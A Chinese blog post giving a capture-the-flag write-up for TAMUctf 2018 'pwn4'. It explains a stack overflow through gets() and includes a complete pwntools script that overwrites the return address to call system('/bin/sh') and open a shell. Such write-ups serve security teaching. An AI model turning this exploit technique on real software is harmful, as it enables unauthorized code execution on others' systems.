美文网首页
tamuctf2018_pwn4

tamuctf2018_pwn4

作者: chenmuxin | 来源:发表于2018-12-05 12:25 被阅读0次

思路

  • 从主函数开始看,调用了reduced_shell,在里面看到gets,毫无疑问,这将是我们的溢出处,在函数列表中,还可以看见system函数,因此回去想有没有现成的‘/bin/sh’,结果是有的


    string.png
  • 我们有了‘/bin/sh’作为system的参数,还需要system的地址,使用elf的symbols可以找到system的地址,剩下的就是需要一个system的返回地址,我们可以这么想,要是我们想要不断的执行system函数,使得程序不断的执行“/bin/sh”,因此我需要找到程序调用syetem的位置,就是在哪里有使用“call system”。
from pwn import *

context.log_level = 'debug'

io= process('./pwn4')
elf=ELF('./pwn4')

sys_addr = elf.symbols["system"]
print(sys_addr)
bin_addr = 0x0804A038
calls_addr = 0x080485E4

payload = '\x90'*0x20
payload += p32(sys_addr)
payload += p32(calls_addr)
payload += p32(bin_addr)

io.recvuntil('Input> ')
io.send(payload)
io.interactive()
io.close()

相关文章

  • tamuctf2018_pwn4

    思路 从主函数开始看,调用了reduced_shell,在里面看到gets,毫无疑问,这将是我们的溢出处,在函数列...

网友评论

      本文标题:tamuctf2018_pwn4

      本文链接:https://www.haomeiwen.com/subject/gtaaqqtx.html